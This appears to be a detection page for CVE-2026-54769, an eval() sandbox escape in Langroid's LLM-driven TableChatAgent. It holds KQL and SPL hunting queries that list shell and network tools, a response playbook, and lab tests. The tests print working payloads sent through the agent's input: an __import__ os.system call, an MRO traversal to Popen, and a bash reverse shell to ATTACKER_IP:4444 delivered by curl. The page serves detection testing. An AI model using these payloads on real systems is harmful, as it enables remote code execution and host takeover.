CVE-2026-54769 Microsoft Sentinel · KQL

Detect CVE-2026-54769: Langroid TableChatAgent Sandbox Escape via eval() RCE in Microsoft Sentinel

Detects exploitation of CVE-2026-54769, a critical sandbox escape vulnerability in Langroid's TableChatAgent component (versions <= 0.65.1). The incomplete eval() mitigation allows attackers to craft malicious inputs that escape the intended sandbox and achieve remote code execution on the host system. CVSS 10.0 with public PoC available.

MITRE ATT&CK

Tactic
Execution Privilege Escalation

KQL Detection Query

Microsoft Sentinel (KQL)
kusto
let LangroidRCEIndicators = dynamic(['__import__', '__builtins__', 'os.system', 'subprocess', 'eval(', 'exec(', '__class__.__mro__', '__subclasses__', 'open(', 'importlib']);
let SuspiciousCommands = dynamic(['curl', 'wget', 'nc ', 'bash', 'sh -c', 'python -c', 'cmd.exe', 'powershell']);
union
(
  AzureDiagnostics
  | where ResourceProvider == "MICROSOFT.WEB" or Category == "AppServiceHTTPLogs"
  | where csUriStem has_any ("/chat", "/agent", "/query", "/ask")
  | where csUriQuery has_any (LangroidRCEIndicators)
  | project TimeGenerated, Resource, csUriStem, csUriQuery, csMethod, scStatus, clientIp_s
),
(
  CommonSecurityLog
  | where DeviceVendor == "Python" or ApplicationProtocol == "HTTP"
  | where RequestURL has_any ("/chat", "/agent", "/query")
  | where Message has_any (LangroidRCEIndicators)
  | project TimeGenerated, DeviceAddress, RequestURL, Message, DestinationIP
),
(
  Syslog
  | where ProcessName in ("python", "python3", "uvicorn", "gunicorn", "fastapi")
  | where SyslogMessage has_any (LangroidRCEIndicators)
  | project TimeGenerated, HostName, ProcessName, SyslogMessage
),
(
  SecurityEvent
  | where EventID in (4688, 4689)
  | where ParentProcessName has_any ("python.exe", "python3.exe", "uvicorn.exe")
  | where CommandLine has_any (SuspiciousCommands)
  | project TimeGenerated, Computer, Account, ParentProcessName, NewProcessName, CommandLine
)
| extend ThreatIndicator = "CVE-2026-54769-Langroid-RCE"
| order by TimeGenerated desc
critical severity medium confidence

Detects HTTP requests containing eval() sandbox escape payloads targeting Langroid TableChatAgent endpoints, and child process spawning from Python/Langroid processes indicative of successful RCE exploitation.

Data Sources

AzureDiagnosticsCommonSecurityLogSyslogSecurityEvent

Required Tables

AzureDiagnosticsCommonSecurityLogSyslogSecurityEvent

False Positives & Tuning

  • Legitimate Python development or testing using eval() in unrelated applications hosted on the same infrastructure
  • Security researchers or red team operators conducting authorized testing of Langroid deployments
  • Automated integration tests that invoke TableChatAgent with complex query strings containing Python-like syntax
  • Logging pipelines that capture and forward raw user input containing programming keywords

Other platforms for CVE-2026-54769


Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Langroid TableChatAgent eval() Basic Sandbox Escape via __import__

    Expected signal: Python process executing os.system() call; creation of /tmp/cve_2026_54769_poc.txt by the Python process; Syslog/auditd records showing system() syscall from python3 process

  2. Test 2Langroid TableChatAgent MRO Traversal Sandbox Escape for RCE

    Expected signal: Python process spawning subprocess.Popen with system commands; process tree showing python3 as parent of id/sh commands; auditd EXECVE records for child process

  3. Test 3CVE-2026-54769 HTTP API Exploitation Simulation with Reverse Shell Payload

    Expected signal: Outbound TCP connection from Python/uvicorn process to attacker IP:4444; bash process spawned as child of python3/uvicorn; network flow showing new connection to port 4444 from the Langroid server IP; HTTP access log entry with encoded payload in POST body

  4. Test 4Langroid Package Version Enumeration for CVE-2026-54769 Exposure Assessment

    Expected signal: pip command execution; find/grep commands scanning for requirements files; curl requests to application health/version endpoints; process enumeration via ps


Response Playbook

Triage

  1. Identify the Langroid version in use: run `pip show langroid` on the affected host or check requirements.txt/pyproject.toml. Confirm if version is <= 0.65.1 (vulnerable range).
  2. Review web server access logs for the last 72 hours for requests to TableChatAgent endpoints (paths containing 'tablechat', 'chat', 'agent', 'query') with payloads containing Python sandbox escape indicators: __import__, __builtins__, __subclasses__, os.system, subprocess.
  3. Check process tree on the affected host for any Python/uvicorn/gunicorn processes that spawned unexpected children (bash, sh, curl, wget, nc) — use `ps auxf` on Linux or Process Monitor on Windows.
  4. Examine application logs for eval() execution errors, unexpected Python exceptions from TableChatAgent, or error strings referencing sandbox bypass attempts.
  5. Cross-reference source IPs in web logs against threat intelligence feeds for known malicious actors or TOR exit nodes.

Containment

  1. Immediately block or rate-limit external access to Langroid TableChatAgent API endpoints at the WAF or load balancer layer while patch assessment is conducted.
  2. If active exploitation is confirmed, isolate the affected host from the network and preserve a memory dump and disk image before remediation. Upgrade Langroid to a version > 0.65.1 as soon as possible via `pip install --upgrade langroid`.
  3. Rotate all credentials and API keys accessible to the Langroid service account, as RCE may have permitted credential harvesting from environment variables or config files.

Evidence Collection

  1. Collect web server access logs (nginx/Apache/uvicorn) from the affected endpoint covering the exploitation window, including full request URIs, POST bodies if logged, response codes, and source IPs.
  2. Capture OS-level process audit logs (auditd on Linux, Sysmon on Windows) showing process creation events where parent is the Python/Langroid process. Preserve /var/log/audit/audit.log or Windows Event Log 4688 records.
  3. If available, capture network flow data (NetFlow, pcap) showing outbound connections from the Langroid host after the suspected exploitation time, particularly to unusual destinations or on common reverse shell ports.

Escalation Criteria

  • !Escalate to incident response if a child process was successfully spawned from the Langroid Python process, especially if it made outbound network connections — this confirms RCE and potential post-exploitation activity.
  • !Escalate immediately if the Langroid service account has elevated privileges, database access, or access to secrets/credential stores, as successful RCE may enable lateral movement or data exfiltration at scale.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >Web server access logs containing requests to TableChatAgent endpoints with Python introspection payloads (__import__, __subclasses__, __mro__) in query strings or POST bodies
  • >OS process creation records showing Python/uvicorn/gunicorn as parent process of unexpected shell interpreters or network utilities (bash, curl, wget, nc)
  • >Network connection records showing outbound connections from the Langroid process to external IPs on non-standard ports after the exploitation window
  • >Python application logs or stderr output showing eval() errors, unexpected exceptions, or output from injected commands
  • >File system modifications in directories writable by the Langroid service account, particularly new executables, cron entries, or SSH authorized_keys modifications

Tuning Guidance

This detection targets eval() sandbox escape payloads specific to Python introspection techniques commonly used against restricted eval() environments. To reduce false positives: (1) Scope the detection to hosts known to run Langroid by filtering on hostnames or IP ranges in your asset inventory before enabling broad alerting. (2) Add a version check workflow — if your CMDB or package inventory confirms Langroid > 0.65.1 on all hosts, suppress alerts for those assets. (3) For the child process detection, build an allowlist of legitimate subprocess patterns used by your Langroid deployment (e.g., specific curl commands for webhook delivery) and exclude those command line patterns. (4) The network connection hunting queries on reverse shell ports may generate noise in environments with legitimate high-port traffic — adjust port lists to match your environment's known-good baseline. (5) Consider tuning confidence from medium to high once you have confirmed the Langroid version and endpoint exposure in your environment.


Hunting Queries

Threat hunt for Langroid Python process logs containing sandbox escape introspection keywords — identifies exploitation attempts and potentially successful sandbox breakouts across the environment

Hunting — KQL
kql
Syslog
| where ProcessName in ("python", "python3", "uvicorn", "gunicorn", "hypercorn")
| where SyslogMessage has_any ("__import__", "__builtins__", "os.system", "subprocess.run", "__subclasses__", "__class__.__mro__", "importlib", "ctypes")
| summarize count(), min(TimeGenerated), max(TimeGenerated), make_set(SyslogMessage) by HostName, ProcessName
| where count_ > 0
| order by max_TimeGenerated desc
Hunting — SPL
spl
index=* sourcetype IN ("python", "uvicorn", "gunicorn", "linux_messages")
| regex _raw="(__import__|__builtins__|os\.system|subprocess|__subclasses__|__class__\.__mro__|importlib|ctypes)"
| stats count min(_time) as first_seen max(_time) as last_seen values(_raw) as raw_events by host, source
| where count > 0
| sort -last_seen

Hunt for Windows process creation events where Python/Langroid web server processes spawn suspicious child processes — high-fidelity indicator of successful RCE exploitation

Hunting — KQL
kql
SecurityEvent
| where EventID == 4688
| where ParentProcessName has_any ("python.exe", "python3.exe", "uvicorn.exe", "gunicorn.exe")
| where NewProcessName has_any ("cmd.exe", "powershell.exe", "bash.exe", "wscript.exe", "cscript.exe") or CommandLine has_any ("curl", "wget", "nc.exe", "/bin/sh", "bash -c", "python -c")
| project TimeGenerated, Computer, Account, ParentProcessName, NewProcessName, CommandLine
| order by TimeGenerated desc
Hunting — SPL
spl
index=* sourcetype=wineventlog EventCode=4688
| eval parent=lower(ParentProcessName)
| eval child=lower(NewProcessName)
| where match(parent, "(python|uvicorn|gunicorn)") AND (match(child, "(cmd\.exe|powershell|bash|wscript|cscript)") OR match(CommandLine, "(curl|wget|nc\.exe|/bin/sh|python -c)"))
| table _time host Account ParentProcessName NewProcessName CommandLine
| sort -_time

Atomic Red Team Tests

Test 1 Langroid TableChatAgent eval() Basic Sandbox Escape via __import__
linux

Simulates the simplest form of CVE-2026-54769 exploitation by submitting a query to TableChatAgent that uses Python's __import__ built-in to import the os module and execute a command, bypassing the incomplete eval() restriction.

Command

bash
# LAB ENVIRONMENT ONLY - Requires vulnerable Langroid <= 0.65.1
# Install vulnerable version in isolated VM/container
pip install 'langroid==0.65.1'

# Simulate the exploit payload via direct Python to confirm eval() bypass
python3 -c "
import langroid as lr
from langroid.agent.special.table_chat_agent import TableChatAgent, TableChatAgentConfig
import pandas as pd
import io

# Create minimal test dataframe
df = pd.DataFrame({'col1': [1,2,3], 'col2': ['a','b','c']})

# Initialize TableChatAgent with minimal config
cfg = TableChatAgentConfig(data=df)
agent = TableChatAgent(cfg)

# Exploit payload: sandbox escape via __import__ bypass
payload = \"__import__('os').system('id > /tmp/cve_2026_54769_poc.txt')\"
print(f'Sending payload: {payload}')
result = agent.llm_response(payload)
print(f'Agent response: {result}')
"

Cleanup

bash
rm -f /tmp/cve_2026_54769_poc.txt && pip uninstall -y langroid

Expected Telemetry

Python process executing os.system() call; creation of /tmp/cve_2026_54769_poc.txt by the Python process; Syslog/auditd records showing system() syscall from python3 process

Expected Detection

Syslog query detects __import__ keyword in Python process output; auditd EXECVE records show unexpected command execution from python3 parent

Test 2 Langroid TableChatAgent MRO Traversal Sandbox Escape for RCE
linux

Exploits CVE-2026-54769 using Python's MRO (Method Resolution Order) traversal technique to access subprocess.Popen through class hierarchy inspection, a common eval() sandbox bypass that should have been blocked by Langroid's mitigation.

Command

bash
# LAB ENVIRONMENT ONLY - Isolated VM with vulnerable Langroid
python3 -c "
import langroid as lr
from langroid.agent.special.table_chat_agent import TableChatAgent, TableChatAgentConfig
import pandas as pd

df = pd.DataFrame({'value': [1,2,3]})
cfg = TableChatAgentConfig(data=df)
agent = TableChatAgent(cfg)

# MRO traversal payload to reach subprocess via class hierarchy
# Finds Popen through object subclasses to bypass naive import restrictions
payload = \"[c for c in ().__class__.__mro__[-1].__subclasses__() if c.__name__ == 'Popen'][0](['id'],capture_output=True).stdout.decode()\"
print(f'MRO traversal payload: {payload}')
result = agent.llm_response(payload)
print(f'Result: {result}')
"

Cleanup

bash
pip uninstall -y langroid 2>/dev/null; true

Expected Telemetry

Python process spawning subprocess.Popen with system commands; process tree showing python3 as parent of id/sh commands; auditd EXECVE records for child process

Expected Detection

Syslog detection query fires on __subclasses__ and __mro__ keywords; process creation detection fires on child process spawned from python3 parent

Test 3 CVE-2026-54769 HTTP API Exploitation Simulation with Reverse Shell Payload
linux

Simulates a full attack chain: attacker sends malicious HTTP POST to a Langroid TableChatAgent HTTP endpoint with an eval() sandbox escape payload that establishes a reverse shell, testing network-layer and endpoint detections.

Command

bash
# LAB ENVIRONMENT ONLY - Requires: vulnerable Langroid server on localhost:8000, netcat listener
# Step 1: Start a netcat listener on attacker machine (separate terminal)
# nc -lvnp 4444

# Step 2: Craft and send exploit HTTP request simulating CVE-2026-54769 exploitation
ATTACKER_IP="127.0.0.1"  # Replace with attacker IP in real lab
ATTACKER_PORT="4444"
TARGET_URL="http://localhost:8000/api/chat"  # Adjust to actual Langroid endpoint

# URL-encode the sandbox escape payload targeting TableChatAgent
PAYLOAD="__import__('os').system('bash -c \"bash -i >& /dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} 0>&1\"')"

echo "Sending exploit payload to ${TARGET_URL}"
curl -s -X POST "${TARGET_URL}" \
  -H "Content-Type: application/json" \
  -d "{\"message\": \"${PAYLOAD}\", \"table_query\": true}" \
  -w "\nHTTP Status: %{http_code}\n"

echo "Check netcat listener for reverse shell connection"

Cleanup

bash
# Kill any established reverse shell sessions
kill $(lsof -t -i:4444) 2>/dev/null; true

Expected Telemetry

Outbound TCP connection from Python/uvicorn process to attacker IP:4444; bash process spawned as child of python3/uvicorn; network flow showing new connection to port 4444 from the Langroid server IP; HTTP access log entry with encoded payload in POST body

Expected Detection

Network connection detection fires on outbound connection from Python process to port 4444; child process detection fires on bash spawned from uvicorn/python parent; HTTP log detection fires on __import__ in POST body to /api/chat endpoint

Test 4 Langroid Package Version Enumeration for CVE-2026-54769 Exposure Assessment
linux

Simulates attacker reconnaissance to identify vulnerable Langroid installations across an environment, and tests whether version disclosure is possible through API responses or error messages.

Command

bash
# Reconnaissance simulation - enumerate Langroid version exposure
# Run on hosts or in containers where Langroid may be installed

echo "=== Checking local Langroid installation ==="
pip show langroid 2>/dev/null || pip3 show langroid 2>/dev/null

echo "=== Checking requirements files for vulnerable versions ==="
find /opt /home /srv /app /var/www -name 'requirements*.txt' -o -name 'pyproject.toml' 2>/dev/null | \
  xargs grep -l 'langroid' 2>/dev/null | head -20

echo "=== Checking running Python processes for Langroid ==="
ps aux | grep -i 'langroid\|uvicorn\|tablechat' | grep -v grep

echo "=== Testing if API endpoint leaks Langroid version ==="
curl -s http://localhost:8000/health 2>/dev/null | python3 -m json.tool
curl -s http://localhost:8000/ 2>/dev/null | grep -i 'langroid\|version'

Cleanup

bash
# No cleanup needed for read-only reconnaissance

Expected Telemetry

pip command execution; find/grep commands scanning for requirements files; curl requests to application health/version endpoints; process enumeration via ps

Expected Detection

Endpoint detection may flag pip show commands in unusual contexts; file access audit logs capture reads of requirements.txt files; web server logs show version endpoint probing

Related Detections